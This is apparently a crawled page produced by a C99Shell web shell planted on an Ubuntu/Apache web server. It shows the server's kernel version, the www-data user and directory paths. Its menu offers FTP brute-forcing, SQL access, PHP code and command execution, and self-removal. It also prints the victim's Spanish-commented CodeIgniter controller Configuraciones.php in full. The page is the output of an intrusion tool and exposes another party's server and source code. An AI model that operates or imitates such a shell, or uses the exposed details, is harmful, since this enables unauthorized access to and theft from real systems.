!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.4.18 (Ubuntu). PHP/7.0.33-0ubuntu0.16.04.16 

uname -a: Linux digifus 3.13.0-57-generic #95-Ubuntu SMP Fri Jun 19 09:28:15 UTC 2015 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/antonellaServer/application/controllers/   drwxr-xr-x
Free 10.13 GB of 29.4 GB (34.44%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Configuraciones.php (3.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
defined
('BASEPATH') OR exit('No direct script access allowed');

class 
Configuraciones extends CI_Controller {

    function 
__construct()
    {
        
parent::__construct();
        
$this->load->model('consultas_model');
        
/* Cargamos la base de datos */
        
$this->load->database();
        
$this->load->library('javascript');
        
$this->load->library('Grocery_Crud');
        
/* Cargamos la libreria*/
        
$this->load->library('session');
        
/* Añadimos el helper al controlador */
        
$this->load->helper('url');
        
error_reporting(E_ALL ^ (E_NOTICE E_WARNING));
    }
    
    public function 
categorias()
    {
            if(
$this->session->userdata('loginuser') == TRUE)
            {
                try{
                    
/* Creamos el objeto */
                    
$crud = new grocery_CRUD();
        
                    
/* Seleccionamos el tema */
                    
$crud->set_theme('datatables');
        
                    
/* Seleccionmos el nombre de la tabla de nuestra base de datos*/
                    
$crud->set_table('categorias_productos');
        
                    
/* Le asignamos un nombre */
                    
$crud->set_subject('Proveedores');
                    
$crud->order_by('categoria','asc');
                    
/* Asignamos el idioma español */
                    
$crud->set_language('spanish');
        
                    
/* Aqui le decimos a grocery que estos campos son obligatorios */
                    
$crud->required_fields(
                            
'id',
                            
'categoria'
                    
);
        
                    
/* Aqui le indicamos que campos deseamos mostrar */
                    
$crud->columns(
                            
'id',
                            
'categoria'
                    
);
                    
/* Generamos la tabla */
                    
$output $crud->render();
                    
$data = array("pepe"=>$output,
                            
"contenido" =>"cliente_view",
                            
"titulo" =>"ADMINISTRACION CATEGORIAS"
                    
);
        
                    
/* La cargamos en la vista situada en
                     /applications/views/productos/administracion.php */
                    
$this->load->view('template',$data);
        
                }catch(
Exception $e){
                    
/* Si algo sale mal cachamos el error y lo mostramos */
                    
show_error($e->getMessage().' --- '.$e->getTraceAsString());
                }
            }
            else {
        
                
redirect(base_url().'login''refresh');
            }
        
    }
    
    
    public function 
modelos()
    {
        if(
$this->session->userdata('loginuser') == TRUE)
        {
            try{
                
/* Creamos el objeto */
                
$crud = new grocery_CRUD();
    
                
/* Seleccionamos el tema */
                
$crud->set_theme('datatables');
    
                
/* Seleccionmos el nombre de la tabla de nuestra base de datos*/
                
$crud->set_table('modelos');
    
                
/* Le asignamos un nombre */
                
$crud->set_subject('Modelos');
                
$crud->order_by('modelo','asc');
                
/* Asignamos el idioma español */
                
$crud->set_language('spanish');
                
$crud->set_relation('idCategoria','categorias_productos','categoria');
                
/* Aqui le decimos a grocery que estos campos son obligatorios */
                
$crud->required_fields(
                        
'id',
                        
'idCategoria',
                        
'modelo'
                
);
    
                
/* Aqui le indicamos que campos deseamos mostrar */
                
$crud->columns(
                        
'id',
                        
'idCategoria',
                        
'modelo'
                
);
                
/* Generamos la tabla */
                
$output $crud->render();
                
$data = array("pepe"=>$output,
                        
"contenido" =>"cliente_view",
                        
"titulo" =>"ADMINISTRACION Modelos"
                
);
    
                
/* La cargamos en la vista situada en
                 /applications/views/productos/administracion.php */
                
$this->load->view('template',$data);
    
            }catch(
Exception $e){
                
/* Si algo sale mal cachamos el error y lo mostramos */
                
show_error($e->getMessage().' --- '.$e->getTraceAsString());
            }
        }
        else {
    
            
redirect(base_url().'login''refresh');
        }
    
    }
    
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0058 ]--